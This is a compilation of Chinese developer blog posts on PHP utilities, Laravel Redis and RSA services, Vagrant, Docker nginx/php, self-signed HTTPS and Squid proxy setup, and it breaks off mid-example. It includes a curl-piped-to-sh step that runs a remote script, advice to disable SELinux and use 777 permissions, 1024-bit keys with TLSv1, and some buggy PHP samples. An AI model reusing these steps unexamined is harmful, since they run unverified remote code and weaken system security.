从TexturePacker官网下载安装后,将软件的bin目录添加到系统的环境变量中

bat文件内容


@echo off
for /f %%i in ('"dir /ad/s/b "') do (
    if exist %%i\png (
        cd %%i
        TexturePacker %%i\png --sheet png.png --data png.xml --allow-free-size --no-trim --max-size 1024 --format sparrow --opt RGBA5555
        echo %%i
    )
)
pause

代码解析

dir /ad/s/b

基于bat文件的当前目录,遍历子目录 /ab 是文件夹 /s 是遍历子目录 /b 不显示标题信息或摘要

for命令

针对dir出的结果,单行逐步进行操作,其中%%i是每行的数据,也就是单个目录

/f 全路径

"delims=" 防止空格截断。

附录

《TexturePacker的命令行使用》

函数方法

<?php
function arraySort($array,$sortRule,$order="asc"){
    /**
     * $array = [
     *              ["book"=>10,"version"=>10],
     *              ["book"=>19,"version"=>30],
     *              ["book"=>10,"version"=>30],
     *              ["book"=>19,"version"=>10],
     *              ["book"=>10,"version"=>20],
     *              ["book"=>19,"version"=>20]
     *      ];
     */
    if(is_array($sortRule)){
        /**
         * $sortRule = ['book'=>"asc",'version'=>"asc"]; 条件支持N多个
         */
        usort($array, function ($a, $b) use ($sortRule) {
            foreach($sortRule as $sortKey => $order){
                if($a[$sortKey] == $b[$sortKey]){continue;}
                return (($order == 'desc')?-1:1) * (($a[$sortKey] < $b[$sortKey]) ? -1 : 1);
            }
            return 0;
        });
    }else if(is_string($sortRule)){
        /**
         * $sortRule = "book";
         * $order = "asc";
         */
        usort($array,function ($a,$b) use ($sortRule,$order){
            if($a[$sortRule] == $b[$sortRule]){
              return 0;
            }
            return (($order == 'desc')?-1:1) * (($a[$sortRule] < $b[$sortRule]) ? -1 : 1);
        });
    }
    return $array;

}

使用

<?php
$array = [
                 ["book"=>10,"version"=>10],
                 ["book"=>19,"version"=>30],
                 ["book"=>10,"version"=>30],
                 ["book"=>19,"version"=>10],
                 ["book"=>10,"version"=>20],
                 ["book"=>19,"version"=>20]
];

//单条件
$array = arraySort($array,'book','asc');
var_dump[$array];


//多条件
arraySort($array,['book'=>"asc",'version'=>"asc"]);
var_dump[$array];

----基于阿里云搭建的轻量级架构

前言

从项目启动到现在差不多快有一年了,在这一年里经历了很多大的版本的改变,业务模式经过不断的磨合也逐渐稳定。在这个时候,总结一下之前项目的架构设计,也为下一阶段做个准备。
在项目的初期往往存在很多变数,业务逻辑时刻在变,而且还要保证快速及时,所以,一个灵活多变、快速部署、持续集成并可以适应多种情况的架构便显得尤为重要。本文主要介绍基于阿里云搭建适合项目初期的后端架构,至于细节操作不作描述,比如nginx配置优化、linux内核优化、防火墙配置、ansible的使用等。


项目背景

项目的前端主要为ios应用以及一些web管理系统,后端的职能主要为前端提供数据接口。我个人在项目中主要负责整个后端的架构设计、服务器运维、php开发等一系列后端工作,因为主要是我一个人负责,在一定程度上也减少了许多沟通成本。


项目初期的后端架构

总体架构

项目后端架构使用阿里云服务搭建,其中RDS为主从集群,并配备灾备实例。ECS可根据业务量动态弹性伸缩,其余服务均采用单实例的方式远程调用。

海伦钢琴项目后端架构简图.png


VPC

搭建VPC的原因有以下几点
1.可以将业务数据库和业务服务器放置在可以自己掌握的同一内网,可以提高一些安全性。
2.阿里云服务之间通过内网访问的流量是不收费的。所以在选购服务时,带宽可以选择流量版,这样在保证带宽速率的同时,还可以极大的减少运维费用。
举个例子:同样一台ECS,在同为百兆带宽的情况下,每月的费用如下图:

按固定带宽

按使用流量

当然,能这样的做的原因也是因为在这个架构中,ECS仅处理业务逻辑,几乎不存储文件资源。大部分静态资源,如视频图片等,都是存储在OSS上。如果存放静态资源,比如下视频或图片什么的,流量一多那就很亏了。
3.内网访问,稳定而且速度快。


业务数据层

  • RDS
    项目一开始,RDS选购的是共享型单实例的,随着业务量的提升,可以多区域部署只读实例。另外,保险起见,主实例可以配有一个灾备实例,防止意外发生。

  • Redis
    提到阿里云的这个Redis,不得不吐槽一句,它竟然是不支持主从的,只能单实例,不过,用它做数据缓存,还真是蛮不错的选择,响应速度非常快。而且,因为是放置在内网的且只能内网访问,所以安全性也很高。

  • MongoDB
    结构型数据,主要存储档案式的数据,比如每个用户的操作行为,以档案式记录并进行统计分析,方便下一阶段的项目做个性化服务。另外一些关联复杂的数据,也可以用MongoDb存储,可以提高访问速度。还有,一些对软件应用版本比较敏感的数据也可以存在MongoDB中,比如a版本拿到A数据,b版本拿到B数据,而这个AB数据都是由很多关联关系复杂的数据所组成,如果把这些数据根据版本号存储在不同的MongoDB档案中,需要时,直接根据版本号拿就可以了,这样就避免了很多的mysql查询。


静态资源

  • OSS + CDN
    OSS存储静态资源,CDN(内容分发网络)可以加速静态资源的下载速度。至于资源链接地址,客户端可以通过接口访问从后端业务数据库中拿到。

服务器安全

  • 运维层面
    1.选购了阿里云的web防火墙和态势感知的服务。这两个服务可以实时监控服务器状态,识别并跟踪攻击来源和类型,可以说,用这两个工具也节省了很多人力成本。阿里云还有其它安全类产品,可以根据项目选购,使用起来也都很方便。
    2.配置firewalld。

  • 业务层面
    针对接口访问的安全性,主要做了以下工作
    1.签名验证:防止伪造请求
    2.访问频次限制:计数器是用phpredis制作的毫秒级计数器
    3.https访问
    4.部分敏感数据,使用RSA非对称加密


服务器集群

  • 主ECS
    通过这台ECS,可以管理其它从属的ECS,并查看状态。安装的主要工具为ansible。
    如果不需要用这台ECS来做负载均衡的话,可以配置白名单连接,只允许管理员ip才能访问。

  • 从属ECS
    这类ECS服务器只存放逻辑代码,所以当需求量增加时,只需增加此类服务器的个数即可。而且,在增加个数时,可以使用之前制作好的镜像,创建多台相同环境的ECS服务器。每台ECS的web环境为nginx1.10和php7,微服务容器环境用的docker。

  • 负载均衡
    负载均衡可以采用两种方式
    1.购买阿里云的负载均衡实例(注意要买带公网ip的)。由该负载均衡实例接收请求后,会分发到内部服务器。
    2.在某台具有外网ip的ECS上使用nginx部署负载均衡服务。

    个人更倾向第一种,毕竟管理起来比较方便,节省人力。


使用到的第三方服务

  • Coding
    后端的所有代码都是放在Coding上的,喜欢Coding的原因有三个。
    1.私有git仓库没有个数限制。
    2.有ios客户端且比较好用。
    3.操作界面好看。

后端代码的自动部署是通过Coding的webhook实现的
具体操作可以去看这篇博客《利用Coding的webhook自动部署项目》

实现的场景:代码的自动部署与持续集成。
当我提交代码到开发分支上时,测试服务器上会自动更新开发分支上的代码。
当我把开发代码合并到主分支上时,正式服务器会自动拉取master分支上的代码,可谓是方便快捷。
jenkins 之类的工具虽然也尝试过,但是感觉部署起来很不方便,不够定制化,而且还消耗了一部分服务器资源。

  • 容联·云通讯
    主要用来实现短信通知、验证码等功能

  • 融云IM
    主要用来实现ios客户端之间的即时通讯以及客户端的应用消息推送。

后端逻辑层架构

  • 接口
    项目起初的接口是基于phalapi框架开发,现在逐步过渡到基于laravel5.3开发。
    项目起初选择phalapi的原因
    1.phalapi框架是轻量级的接口开发框架,开发起来比较便捷、快速,尤其是那个依赖注入挺好用的。
    2.phalapi框架有很多现成的扩展可以使用,不用去找,而且这些也能基本满足业务的需要。我个人还基于这个框架开发了两个扩展,一个是关于使用workman的,一个是关于使用gearman的。
    其中gearman是用来异步处理请求的,详细介绍可以看这篇博客《基于Phalapi框架的gearman扩展(异步并发)》

根据业务量提高性能

  • http请求的并发性能可以通过增加ECS实现,针对部分耗时较长且无须即时回调的请求,可以用gearman异步处理。
  • 数据库的并发连接数可以通过增加配置来提高,也可以通过创建只读实例进行读写分离,提高数据处理能力。再往后,可能需要搭建hadoop管理数据库集群,不过等用上hadoop的时候,应该已经不是项目初期了,至少数据量得是TB级的了。
  • 其它还可以采用优化nginx配置,优化linux内核,采用高速固态硬盘等等的手段。

总结评价

这套架构基本上可以完全满足项目初期的业务需要,而且所有的云服务费用总和也非常少(相比于自建服务器机房)。随着业务量的提升,可以逐步升级配置以应对需求,还可以在短时间内临时性的提高并发处理能力。总结起来就是省钱、省时、省力气。

前言

因为项目需要上线微信支付功能,所以这两天下载并使用了下微信支付的sdk,但是集成进项目框架时发现有很多小问题,尤其是有很多因为代码不规范而产生的warning,而我又是比较讨厌warning的,所以就花了点时间重构了一下。

官方原版wxpay-php-sdk

WxpayAPI_php_v3.zip

重构版微信支付sdk

WxPay.zip

使用vagrant+virtualbox搭建跨平台开发环境

相关参数

  • 目录地址: (本机目录) D:\web => /www/ (对应虚拟机目录)

准备工作

安装vagrant

https://www.vagrantup.com/downloads.html

更改vagrant配置文件的位置

如果C盘空间足够,此步可不操作

将 C:\Users\user_name\.vagrant.d 移动到新的位置

新建环境变量VAGRANT_HOME,并指向新路径

安装virtualbox

https://www.virtualbox.org/wiki/Downloads

下载centos7的vagrant box到你想挂载的目录(比如 D:\web),用vagarant镜像下载会非常慢,推荐用下面的链接下载
下载地址:
cloud.centos.org

这个box是纯净版的
其它镜像:
http://cloud.centos.org/centos/7/vagrant/x86_64/images/

更改virtaulbox虚拟机默认位置

  • 打开 VirtualBox 程序,点击管理/全局设定菜单项

  • 将常规栏里的默认虚拟电脑位置改为其他磁盘下的路径

  • 重新启动VirtualBox程序

使用vagrant

vagrant plugin install vagrant-vbguest

vagrant  box  add  centos7.2  virtualbox.box
#命令解释:vagrant box add为载入镜像命令,centos7.2为载入后的镜像名称,virtualbox.box为box文件名

vagrant  init  centos7.2  #根据镜像初始化一个虚拟机

# 修改本机目录下的Vagrantfile文件 , 将config.vm.network "public_network"前的注释删除并保存

vagrant  up    #在本机目录下执行该命令,启动虚拟机

vagrant vbguest --auto-reboot

vagrant package # 打包系统生成package.box文件

默认账号 vagrant 密码 vagrant ;
root账号的默认密码vagrant;

执行完vagrant up后,虚拟机就启动了

虚拟机可以直接用VirtualBox管理,也可以用Xshell连接虚拟机进行管理

也可以在该目录下执行 vagrant ssh 连入虚拟机(windows需要安装shell工具)

此时你已经有了一个centOS7.2的虚拟机,接下来就可以用它来搭建各种服务来运行你的项目。

之后每次只需在挂载目录下执行vagrant up就可以了

vagrantfile配置

建议在vagrantfile中配置

config.vm.network "private_network", type: "dhcp"

config.vbguest.auto_update = false

# do NOT download the iso file from a webserver
config.vbguest.no_remote = true

config.vm.synced_folder ".", "/vagrant",owner: "vagrant",group: "vagrant",mount_options:["dmode=777","fmode=777"]

其它配置详见
《官方文档》 《Vagrantfile 配置》

常见问题

共享目录无法挂载

报错信息

Vagrant was unable to mount VirtualBox shared folders. This is usually
because the filesystem "vboxsf" is not available. This filesystem is
made available via the VirtualBox Guest Additions and kernel module.
Please verify that these guest additions are properly installed in the
guest. This is not a bug in Vagrant and is usually caused by a faulty
Vagrant box. For context, the command attempted was:

mount -t vboxsf -o uid=1000,gid=1000 vagrant /vagrant

The error output from the command was:

/sbin/mount.vboxsf: mounting failed with the error: No such device

解决方案

方法1 安装vagrant插件

# fast in china
vagrant plugin install --plugin-clean-sources --plugin-source https://gems.ruby-china.com/ vagrant-vbguest
# vagrant plugin install vagrant-vbguest
vagrant vbguest --auto-reboot
vagrant vbguest --status   #查看vbguest运行状态

方法2 更新vagrant和virtualbox

更新vagrant之后需要更新vagrant插件

vagrant plugin update

方法三 重新安装vboxadd

VBoxGuestAdditions的位置

for linux : /usr/share/virtualbox/VBoxGuestAdditions.iso
for Mac : /Applications/VirtualBox.app/Contents/MacOS/VBoxGuestAdditions.iso
for Windows : %PROGRAMFILES%/Oracle/VirtualBox/VBoxGuestAdditions.iso

使用virtualbox挂载上面的iso虚拟光驱(第二IDE控制器主通道)

#进入虚拟机
vagrant ssh
#如果这个命令无法进入的话,就用virtualbox进入

#*号为版本号
cd /opt/VBoxGuestAdditions-*/init
sudo ./vboxadd setup # 如果不能setup就yum update

#退出虚拟机
exit

#重启虚拟机
vagrant reload

使用 vagrant 国内镜像加速

相关文章:Vagrant使用国内镜像安装插件和box镜像

前言

对于redis的使用,laravel 官方文档建议是用predis,但是因为predis完全是由php来开发的,其性能上与phpredis还是有一定差距的。如果要使用predis的话,参考官方文档,或者查看predis源码即可。

本篇博客主要介绍通过自定义服务类(RedisService)使用phpredis进行redis的相关操作。在RedisService中,除了基本操作外,还写了一些基于phpredis的小工具,比如redis计数器等。

如果要用依赖注入的方式实现RedisService,可以参考这篇博客 《laravel5.3自定义加密服务方案》


项目环境

  • Centos7
  • php7.1
  • nginx1.11

准备工作

php环境部署

具体操作请参考《Centos7安装nginx+php7运行环境》

安装phpredis扩展

具体操作请参考《CenOS7环境安装PHP7扩展》

创建服务类

  • 创建Redis服务类,文件地址 /app/Service/Common/RedisService.php

代码如下:

<?php
/**
 * Redis Service
 * User: Axios
 * Email: axioscros@aliyun.com
 * Date: 2017/1/5
 * Time: 13:50
 */
namespace App\Service\Common;
use \Redis;
class RedisService extends Redis{
    private $config;
    private $prefix;
    private $db;
    public function __construct()
    {
        $this->config = config('database.redis');
        $this->connection();
    }

    /**
     * connect redis
     * @desc 连接redis,外部调用
     * @param string $select  选择redis连接方式
     * @return mixed \Redis|string
     */
    public function connection($select = 'default'){
        if(array_key_exists($select,$this->config)){
            return $this->do_connect($this->config[$select]);
        }else{
            return 'config error';
        }
    }

    /**
     * @desc 进行redis连接
     * @param $config
     * @return mixed
     */
    private function do_connect($config){
        if(isset($config['type']) && $config['type'] == 'unix'){
            if (!isset($config['socket'])) {
                return 'redis config key [socket] not found';
            }
            $this->connect($config['socket']);
        }else{
            $port = isset($config['port']) ? intval($config['port']) : 6379;
            $timeout = isset($config['timeout']) ? intval($config['timeout']) : 300;
            $this->connect($config['host'], $port, $timeout);
        }

        if(isset($config['auth']) && !empty($config['auth'])){
            $this->auth($config['auth']);
        }

        $this->db = isset($config['database']) ? intval($config['database']) : 0;
        $this->select($this->db);
        $this->prefix = isset($config['prefix'])&& !empty($config['prefix']) ? $config['prefix'] : 'default:';
        $this->setOption(\Redis::OPT_PREFIX, $this->prefix );
        return $this;
    }

    /**
     * 切换数据库
     * @param $name
     * @return $this
     */
    public function switchDB($name){
        $arr = $this->config['database'];
        if(is_int($name)){
            $db = $name;
        }else{
            $db = isset($arr[$name]) ? $arr[$name] : 0;
        }
        if($db != $this->db){
            $this->select($db);
            $this->db = $db;
        }
        return $this;
    }

    /************************************  Some little tools  ************************************/

    /**
     * counter
     * @desc 创建计数器
     * @param $key
     * @param int $init
     * @param int $expire
     */
    public function counter($key,$init=0,$expire=0){
        if(empty($expire)){
            $this->set($key,$init);
        }else{
            $this->psetex($key,$expire,$init);
        }
    }

    /**
     * @desc 进行计数
     * @param $key
     * @return bool|int
     */
    public function count($key){
        if(!$this->exists($key)){
            return false;
        }
        $count = $this->incr($key);
        return $count;
    }

    function __destruct()
    {
        // TODO: Implement __destruct() method.
        $this->close();
    }
}
  • 修改redis配置,文件地址:/config/database.php
'redis' => [

        'cluster' => false,

        //
        'database'=>[
            'default_db'    => 0,
            'users_token'   => 1,
            'counter'       => 2,
        ],

        'default' => [
            'host' => env('REDIS_HOST', 'localhost'),
            'password' => env('REDIS_PASSWORD', null),
            'port' => env('REDIS_PORT', 6379),
            'database' => 0,
            'prefix' => 'default:'
        ],

    ],

使用示例

示例文件位置: /app/Http/Controllers/HomeController.php

<?php

namespace App\Http\Controllers;
use App\Service\Common\RedisService;
class HomeController extends Controller
{
    /**
     * Create a new controller instance.
     *
     * @return void
     */
    public function __construct()
    {

    }

    /**
     * Show the application dashboard.
     *
     * @return \Illuminate\Http\Response
     */
    public function index()
    {
        // 实现功能,五秒内访问次数不能大于5次
        $redis = new RedisService();
        $key = 'test_counter_key';
        if(!$redis->exists($key)){
            $redis->counter('test_counter_key',0,'expire',5000);
        }

        $count = $redis->count($key);
        if($count>5){
            echo "操作次数过多(".$count.")";
        }else{
            echo $count;
        }
    }
}

其它资料

环境介绍

  • 根目录: /docker

  • 网站根目录:/docker/www

  • nginx相关目录:/docker/nginx/conf.d

准备工作

  • 使用docker加速器
curl -sSL https://get.daocloud.io/daotools/set_mirror.sh | sh -s http://68abbefd.m.daocloud.io
service docker restart
  • 下载相关镜像
docker pull nginx
docker pull php:7.1.0-fpm
  • 建立相关目录
mkdir -p /docker/www
mkdir -p /docker/nginx/conf.d
  • 编辑default.conf
vim /docker/nginx/conf.d/default.conf

# 以下为示例内容
server {
        listen       80 default_server;
        server_name  _;
        root         /usr/share/nginx/html;

        location / {
            index  index.html index.htm index.php;
            autoindex  off;
        }
        location ~ \.php(.*)$ {
            root           /var/www/html/;
            fastcgi_pass   172.17.0.2:9000;
            fastcgi_index  index.php;
            fastcgi_split_path_info  ^((?U).+\.php)(/?.+)$;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
            fastcgi_param  PATH_INFO  $fastcgi_path_info;
            fastcgi_param  PATH_TRANSLATED  $document_root$fastcgi_path_info;
            include        fastcgi_params;
        }
}

搭建环境

  • 启动php镜像
docker run -p 9000:9000 --name myphp \
-v /docker/www/:/var/www/html/ \
--privileged=true \
-d php:7.1.0-fpm

#查看php镜像的ip地址
docker inspect --format='{{.NetworkSettings.IPAddress}}' myphp

172.17.0.2

#修改default.conf配置文件,使fastcgi_pass的值为 172.17.0.2:9000

vim /docker/nginx/conf.d/default.conf

fastcgi_pass 172.17.0.2:9000;
  • 启动nginx镜像
docker run -p 80:80 --name mynginx \
-v /docker/www:/usr/share/nginx/html  \
-v /docker/nginx/conf.d:/etc/nginx/conf.d \
--privileged=true \
-d nginx
  • 查看镜像运行状态
docker ps

CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                                      NAMES
93213e1eac73        nginx               "nginx -g 'daemon off"   3 seconds ago       Up 2 seconds        0.0.0.0:80->80/tcp   mynginx
e93281652098        php:7.1.0-fpm       "docker-php-entrypoin"   8 minutes ago       Up 8 minutes        0.0.0.0:9000->9000/tcp                     myphp
  • 生成php测试文件info.php
echo "<?php phpinfo();" > /docker/www/info.php

nginx虚拟机配置

以配置www.test.com虚拟机为例,项目目录地址为/docker/www/test.com/

vim /docker/nginx/conf.d/test.com.conf

# 示例内容如下

server {
        listen       80;
        server_name  www.test.com;
        root         /usr/share/nginx/html/test.com/;
        location / {
            index  index.html index.htm index.php;
            autoindex  off;
        }
        location ~ \.php(.*)$ {
            root           /var/www/html/test.com/;
            fastcgi_pass   172.17.0.2:9000;
            fastcgi_index  index.php;
            fastcgi_split_path_info  ^((?U).+\.php)(/?.+)$;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
            fastcgi_param  PATH_INFO  $fastcgi_path_info;
            fastcgi_param  PATH_TRANSLATED  $document_root$fastcgi_path_info;
            include        fastcgi_params;
        }
}


#重启nginx镜像

docker restart mynginx

docker常用命令

  • 停止所有正在运行的容器
docker kill $(docker ps -a -q)
  • 删除所有已停止运行的容器
docker rm $(docker ps -a -q)
  • 查看容器运行状态
docker stats
  • 进入容器内进行命令行操作
docker exec -it content-name-or-id /bin/bash

常见问题

  • CentOS7 环境下因为宿主的SELINUX,导致在nginx容器内无法访问配置文件(default.conf),进而容器无法提供web服务

解决方法:

#############方法一#############
#在宿主主机关闭SELINUX
#临时关闭
setenforce 0
#永久关闭  修改/etc/sysconfig/selinux文件
SELINUX=disabled

#############方法二#############
#以特权方式运行容器
#--privileged参数为true
docker run -it --privileged=true -d nginx

自签名的证书比较适合于加密接口请求的访问,如果是web端https连接的话,最好是用公证机构提供的证书。
另外,自2017年1月1日起,苹果会强制ios应用使用https方式连接

生成自签名证书

生成自签名证书脚本代码地址(作者廖雪峰)
https://github.com/michaelliao/itranswarp.js/blob/master/conf/ssl/gencert.sh

脚本具体代码如下(有部分修改):根据需求也可以自行修改脚本代码,比如有效时长等等

#!/bin/sh

# create self-signed server certificate:

read -p "Enter your domain [www.example.com]: " DOMAIN

echo "Create server key..."

openssl genrsa -des3 -out $DOMAIN.key 1024

echo "Create server certificate signing request..."

SUBJECT="/C=US/ST=Mars/L=iTranswarp/O=iTranswarp/OU=iTranswarp/CN=$DOMAIN"

openssl req -new -subj $SUBJECT -key $DOMAIN.key -out $DOMAIN.csr

echo "Remove password..."

mv $DOMAIN.key $DOMAIN.origin.key
openssl rsa -in $DOMAIN.origin.key -out $DOMAIN.key

echo "Sign SSL certificate..."

openssl x509 -req -days 3650 -in $DOMAIN.csr -signkey $DOMAIN.key -out $DOMAIN.crt

echo "TODO:"
echo "Copy $DOMAIN.crt to /etc/nginx/ssl/$DOMAIN.crt"
echo "Copy $DOMAIN.key to /etc/nginx/ssl/$DOMAIN.key"
echo "Add configuration in nginx:"
echo "server {"
echo "    listen 443 ssl"
echo "    ..."
echo "    ssl on;"
echo "    ssl_certificate     /etc/nginx/ssl/$DOMAIN.crt;"
echo "    ssl_certificate_key /etc/nginx/ssl/$DOMAIN.key;"
echo "    ssl_protocols   TLSv1 TLSv1.1 TLSv1.2"
echo "    ssl_ciphers     HIGH:!aNULL:!MD5"
echo "}"

生成证书操作

$ sh ./gencert.sh
# 根据提示输入域名以及四次口令,注意这四次口令输入的都是一样的且同时包含字母和数字

# 输出示例如下
Enter your domain [www.example.com]: #www.test.com
Create server key...
Generating RSA private key, 1024 bit long modulus
.................++++++
.....++++++
e is 65537 (0x10001)
Enter pass phrase for www.test.com.key: #输入口令
Verifying - Enter pass phrase for www.test.com.key: #输入口令
Create server certificate signing request...
Enter pass phrase for www.test.com.key: #输入口令
Remove password...
Enter pass phrase for www.test.com.origin.key: #输入口令
writing RSA key
Sign SSL certificate...
Signature ok
subject=/C=US/ST=Mars/L=iTranswarp/O=iTranswarp/OU=iTranswarp/CN=www.test.com
Getting Private key
TODO:
Copy www.test.com.crt to /etc/nginx/ssl/www.test.com.crt
Copy www.test.com.key to /etc/nginx/ssl/www.test.com.key
Add configuration in nginx:
server {
    listen 443 ssl
    ...
    ssl on;
    ssl_certificate     /etc/nginx/ssl/www.test.com.crt;
    ssl_certificate_key /etc/nginx/ssl/www.test.com.key;
    ssl_protocols   TLSv1 TLSv1.1 TLSv1.2
    ssl_ciphers     HIGH:!aNULL:!MD5
}

nginx 配置

执行上面的脚本后,会在脚本所在目录生成证书

# 复制证书至/etc/nginx/ssl目录
cp www.test.com.crt  /etc/nginx/ssl/www.test.com.crt
cp www.test.com.key  /etc/nginx/ssl/www.test.com.key


# 修改nginx的server配置
server {
    #监听80端口,强制转到443端口,进行https访问
    listen  80;
    server_name test.cn;

    rewrite ^(.*)$  https://$host$1 permanent;
}
server {
    listen  443 ssl;

    #强制使用https访问
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains;preload" always;

    ...# 此处省略其它配置内容

    ssl on;
    ssl_certificate     /etc/nginx/ssl/www.test.com.crt; #证书格式有多种,常见的有pem、cer等
    ssl_certificate_key /etc/nginx/ssl/www.test.com.key;
    ssl_session_timeout 5m;
    ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4;
    ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
    ssl_prefer_server_ciphers on;
}


# 重启nginx
service nginx restart

其它关于https的nginx配置看去看这篇文章 Nginx 配置 HTTPS 服务器

常见问题

nginx配置好https,而且用firewalld开启443端口后,发现外网依然无法连接。
此时可能需要在firewalld添加https服务

#查看firewalld运行状态
firewall-cmd --stat

#临时添加 https 服务 (不用重启firewalld)
firewall-cmd --add-service=https

#永久添加 https 服务 (需要重启firewalld服务)
firewall-cmd --permanent --add-service=https
firewall-cmd --reload

#查看已支持的服务
firewall-cmd --list-services

转自《Centos7下使用Squid快速搭建带认证的HTTP代理服务器》(有部分修改)

安装squid

yum install squid httpd-tools -y

生成密码文件

mkdir /etc/squid3/

htpasswd -cd /etc/squid3/passwords username
# 此步后会提示输入密码,注意密码不要超过8位

测试密码文件

/usr/lib64/squid/basic_ncsa_auth /etc/squid3/passwords
# 输入 用户名 密码
username password
# 提示OK说明成功,ERR是有问题,请检查一下之前步骤
OK

配置

vim /etc/squid/squid.conf

# 在最后添加
auth_param basic program /usr/lib64/squid/basic_ncsa_auth /etc/squid3/passwords
auth_param basic realm proxy
acl authenticated proxy_auth REQUIRED
http_access allow authenticated

# 这里是端口号,可以按需修改
# http_port 3128 这样写会同时监听ipv6和ipv4的端口,推荐适应下面的配置方法。
http_port 0.0.0.0:3128
# 注意此端口要能允许外部连接访问

启动服务

# 启动
systemctl start squid.service
# 停止
systemctl stop squid.service
# 重启
systemctl restart squid.service
# 查看状态
systemctl status squid.service

查看日志

cat /var/log/squid/access.log
#huo或
tail -f /var/log/squid/access.log

权限控制

参考《squid中文权威指南》

利用laravel的服务容器,实现自定义加密服务注册(示例是支持长字符串的RSA加密)

创建加密解密服务类

文件地址 /app/Service/Common/CryptService.php 代码如下
下面这个是个人写的支持长字符串的RSA加密类作为示例,自定义加密的话只需更改这个文件的代码就好,其它操作只是为了实现依赖注入。

<?php
namespace App\Service\Common;
class CryptService
{
    public $config,$keypath, $prikey_path, $pubkey_path, $prikey, $pubkey , $private_key_size;

    public function select($select = 'rsa_api')
    {
        $config = config('crypt');
        if (array_key_exists($select, $config)) {
            $this->config = $config[$select];
            $this->private_key_size = $this->config['openssl_config']['private_key_bits'];
        } else {
            return false;
        }
        $this->keypath = dirname(dirname(dirname(__DIR__))) . $this->config['path'];
        if(!file_exists($this->keypath)){
            mkdir($this->keypath,"0777",true);
        }
        $this->prikey_path = $this->keypath . $this->config['private_key_file_name'];
        $this->pubkey_path = $this->keypath . $this->config['public_key_file_name'];
        if (file_exists($this->prikey_path))
            $this->prikey = file_get_contents($this->prikey_path);
        if (file_exists($this->pubkey_path))
            $this->pubkey = file_get_contents($this->pubkey_path);
        return $this;
    }

    public function makeKey()
    {
        $res = openssl_pkey_new($this->config['openssl_config']);
        openssl_pkey_export($res, $this->prikey);
        file_put_contents($this->prikey_path, $this->prikey);
        $pubkey = openssl_pkey_get_details($res);
        $this->pubkey = $pubkey['key'];
        file_put_contents($this->pubkey_path, $this->pubkey);
        return $test = ['prikey' => $this->prikey, 'pubkey' => $this->pubkey];
    }

    public function encryptPrivate($data){
        $crypt = $this->encrypt_split($data);
        $crypted = '';
        foreach ($crypt as $k=>$c){
            if($k!=0) $crypted.="@";
            $crypted.=base64_encode($this->doEncryptPrivate($c));
        }
        return $crypted;
    }
    public function encryptPublic($data){
        $crypt = $this->encrypt_split($data);
        $crypted = '';
        foreach ($crypt as $k=>$c){
            if($k!=0) $crypted.="@";
            $crypted.=base64_encode($this->doEncryptPublic($c));
        }
        return $crypted;
    }

    public function decryptPublic($data){
        $decrypt = explode('@',$data);
        $decrypted = "";
        foreach ($decrypt as $k=>$d){
            $decrypted .= $this->doDecryptPublic(base64_decode($d));
        }
        return $decrypted;
    }
    public function decryptPrivate($data){
        $decrypt = explode('@',$data);
        $decrypted = "";
        foreach ($decrypt as $k=>$d){
            $decrypted .= $this->doDecryptPrivate(base64_decode($d));
        }
        return $decrypted;
    }
    private function encrypt_split($data){
        $crypt=[];$index=0;
        for($i=0; $i<strlen($data); $i+=117){
            $src = substr($data, $i, 117);
            $crypt[$index] = $src;
            $index++;
        }
        return $crypt;
    }
    private function doEncryptPrivate($data)
    {
        $rs = '';
        if (@openssl_private_encrypt($data, $rs, $this->prikey) === FALSE) {
            return NULL;
        }
        return $rs;
    }

    private function doDecryptPrivate($data)
    {
        $rs = '';
        if (@openssl_private_decrypt($data, $rs, $this->prikey) === FALSE) {
            return null;
        }
        return $rs;
    }
    private function doEncryptPublic($data){
        $rs = '';
        if (@openssl_public_encrypt($data, $rs, $this->pubkey) === FALSE) {
            return NULL;
        }
        return $rs;
    }
    private function doDecryptPublic($data)
    {
        $rs = '';
        if (@openssl_public_decrypt($data, $rs,  $this->pubkey) === FALSE) {
            return null;
        }
        return $rs;
    }
}

创建门面facades

文件地址 /app/Facades/CryptFacades.php 代码如下:

<?php
namespace App\Facades;
use \Illuminate\Support\Facades\Facade;

class CryptFacades extends Facade{
    public static function getFacadeAccessor()
    {
        return 'MyCrypt';
    }
}

注册服务

创建文件 /app/Providers/MyCryptServiceProvider.php 代码如下:
其实也可以在AppServiceProvider中注册,就不用另外建个MyCryptServiceProvider.php文件了
而且在/config/app.php中一般也已经有了AppServiceProvider的声明

<?php
namespace App\Providers;

use App\Service\Common\CryptService;
use Illuminate\Support\ServiceProvider;

class MyCryptServiceProvider extends ServiceProvider
{
    /**
     * Bootstrap the application services.
     *
     * @return void
     */
    public function boot()
    {
        //
    }

    /**
     * Register the application services.
     *
     * @return void
     */
    public function register()
    {
        \App::bind('MyCrypt',CryptService::class);
    }
}

在配置中声明

文件地址 /config/app.php 在providershe和aliases中添加

'providers' => [
    \App\Providers\MyCryptServiceProvider::class,
],

'aliases' => [
    'MyCrypt' => \App\Facades\CryptFacades::class,
]

编写自定义加密解密服务的配置文件

/config/crypt.php 因为我写的CryptService有用到配置文件,所以需要再添加个配置文件。在实际项目中,可以根据需要自行设置配置文件和加密服务类。

<?php
//基于laravel根目录,分隔符最好是用 DIRECTORY_SEPARATOR 常量代替
return [
    'rsa_api' => [
        'path'=>DIRECTORY_SEPARATOR.'storage'.DIRECTORY_SEPARATOR.'rsakey'.DIRECTORY_SEPARATOR,
        'private_key_file_name'=>'private_key.pem',
        'public_key_file_name' =>'public_key.pem',
        'openssl_config'=>[
            "digest_alg" => "sha512",
            "private_key_bits" => 1024,
            "private_key_type" => OPENSSL_KEYTYPE_RSA,
        ]
    ],
    'rsa_data'=>[
        'path'=>DIRECTORY_SEPARATOR.'storage'.DIRECTORY_SEPARATOR.'rsakey'.DIRECTORY_SEPARATOR,
        'private_key_file_name'=>'private.pem',
        'public_key_file_name' =>'public.pem',
        'openssl_config'=>[
            "digest_alg" => "sha512",
            "private_key_bits" => 1024,
            "private_key_type" => OPENSSL_KEYTYPE_RSA,
        ]
    ]
];

在Controller中使用的示例

  • artisan创建Controller文件
php artisan make:controller IndexController
  • 编辑IndexController
<?php
namespace App\Http\Controllers;

